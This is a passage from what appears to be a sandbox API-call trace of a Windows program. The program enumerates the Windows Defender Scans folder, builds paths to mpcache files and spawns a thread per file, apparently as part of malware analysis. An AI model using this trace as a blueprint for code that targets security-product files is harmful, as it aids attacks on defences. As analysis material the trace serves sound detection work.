ftLastAccessTime.dwLowDateTime=0xc29db382, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3198210, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaStore", cAlternateFileName="METAST~1")) returned 1 [0077.580] wcscmp (_String1="MetaStore", _String2=".") returned 1 [0077.580] wcscmp (_String1="MetaStore", _String2="..") returned 1 [0077.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x347ea40 [0077.580] wcscpy (in: _Dest=0x347ea40, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.580] wcscat (in: _Dest=0x347ea40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.580] wcscat (in: _Dest=0x347ea40, _Source="MetaStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" [0077.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347ea40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0077.580] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fab0876, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2fab0876, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xa2ac97, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin", cAlternateFileName="")) returned 1 [0077.581] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin", _String2=".") returned 1 [0077.581] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin", _String2="..") returned 1 [0077.581] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3797bae0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3797bae0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x379ee1a9, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x18ea5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B", cAlternateFileName="")) returned 1 [0077.581] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B", _String2=".") returned 1 [0077.581] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B", _String2="..") returned 1 [0077.581] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a8e0 [0077.581] wcscpy (in: _Dest=0x347a8e0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.581] wcscat (in: _Dest=0x347a8e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.581] wcscat (in: _Dest=0x347a8e0, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" [0077.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0077.581] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37149d8d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37149d8d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3754fb0e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x6a1ab6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67", cAlternateFileName="")) returned 1 [0077.581] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67", _String2=".") returned 1 [0077.582] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67", _String2="..") returned 1 [0077.582] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a2c0 [0077.582] wcscpy (in: _Dest=0x347a2c0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.582] wcscat (in: _Dest=0x347a2c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.582] wcscat (in: _Dest=0x347a2c0, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" [0077.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0 [0077.582] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x37575d5f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37575d5f, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3771965f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x3b14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79", cAlternateFileName="")) returned 1 [0077.582] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79", _String2=".") returned 1 [0077.582] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79", _String2="..") returned 1 [0077.582] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a560 [0077.582] wcscpy (in: _Dest=0x347a560, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.582] wcscat (in: _Dest=0x347a560, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.583] wcscat (in: _Dest=0x347a560, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" [0077.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0077.583] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x3771965f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3771965f, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3773f8ba, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x529000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C", cAlternateFileName="")) returned 1 [0077.583] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C", _String2=".") returned 1 [0077.583] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C", _String2="..") returned 1 [0077.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a640 [0077.583] wcscpy (in: _Dest=0x347a640, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.583] wcscat (in: _Dest=0x347a640, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.583] wcscat (in: _Dest=0x347a640, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" [0077.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0077.584] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37765b02, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37765b02, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37765b02, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x3cff18, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E", cAlternateFileName="")) returned 1 [0077.584] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E", _String2=".") returned 1 [0077.584] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E", _String2="..") returned 1 [0077.584] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347ac60 [0077.584] wcscpy (in: _Dest=0x347ac60, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.584] wcscat (in: _Dest=0x347ac60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.584] wcscat (in: _Dest=0x347ac60, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" [0077.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ac60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0077.585] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378e31c3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x378e31c3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3790940e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xcfdc43, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80", cAlternateFileName="")) returned 1 [0077.585] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80", _String2=".") returned 1 [0077.585] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80", _String2="..") returned 1 [0077.585] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a1e0 [0077.585] wcscpy (in: _Dest=0x347a1e0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.585] wcscat (in: _Dest=0x347a1e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.585] wcscat (in: _Dest=0x347a1e0, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" [0077.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0077.586] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x3795589b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3795589b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3795589b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83", cAlternateFileName="")) returned 1 [0077.586] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83", _String2=".") returned 1 [0077.586] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83", _String2="..") returned 1 [0077.586] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347ad40 [0077.586] wcscpy (in: _Dest=0x347ad40, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.586] wcscat (in: _Dest=0x347ad40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.586] wcscat (in: _Dest=0x347ad40, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" [0077.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ad40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0077.587] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3792f650, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3792f650, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3792f650, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x1a3a61, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87", cAlternateFileName="")) returned 1 [0077.587] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87", _String2=".") returned 1 [0077.587] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87", _String2="..") returned 1 [0077.587] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347aaa0 [0077.587] wcscpy (in: _Dest=0x347aaa0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.587] wcscat (in: _Dest=0x347aaa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.587] wcscat (in: _Dest=0x347aaa0, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" [0077.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347aaa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0077.588] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3795589b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3795589b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3795589b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x358f2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0", cAlternateFileName="")) returned 1 [0077.588] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0", _String2=".") returned 1 [0077.588] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0", _String2="..") returned 1 [0077.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a720 [0077.588] wcscpy (in: _Dest=0x347a720, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.588] wcscat (in: _Dest=0x347a720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.588] wcscat (in: _Dest=0x347a720, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" [0077.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347a720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0077.588] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3797bae0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3797bae0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3797bae0, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x5fff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB", cAlternateFileName="")) returned 1 [0077.588] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB", _String2=".") returned 1 [0077.588] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB", _String2="..") returned 1 [0077.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347ab80 [0077.589] wcscpy (in: _Dest=0x347ab80, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.589] wcscat (in: _Dest=0x347ab80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.589] wcscat (in: _Dest=0x347ab80, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" [0077.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ab80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0077.589] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3797bae0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3797bae0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3797bae0, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x441a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC", cAlternateFileName="")) returned 1 [0077.589] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC", _String2=".") returned 1 [0077.589] wcscmp (_String1="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC", _String2="..") returned 1 [0077.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347ae20 [0077.589] wcscpy (in: _Dest=0x347ae20, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.589] wcscat (in: _Dest=0x347ae20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.589] wcscat (in: _Dest=0x347ae20, _Source="mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" [0077.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ae20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0077.590] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccf915d5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xccf915d5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd1ce7a3f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0xa2ac97, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin", cAlternateFileName="MPCACH~1.BIN")) returned 1 [0077.590] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin", _String2=".") returned 1 [0077.590] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin", _String2="..") returned 1 [0077.590] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18e1ad1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd18e1ad1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd1bb677b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x18ea5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B", cAlternateFileName="MPCACH~1.5B")) returned 1 [0077.590] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B", _String2=".") returned 1 [0077.590] wcscmp (_String1="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B", _String2="..") returned 1 [0077.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x347a3a0 [0077.590] wcscpy (in: _Dest=0x347a3a0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.590] wcscat (in: _Dest=0x347a3a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.590] wcscat (in: _Dest=0x347a3a0, _Source="mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows 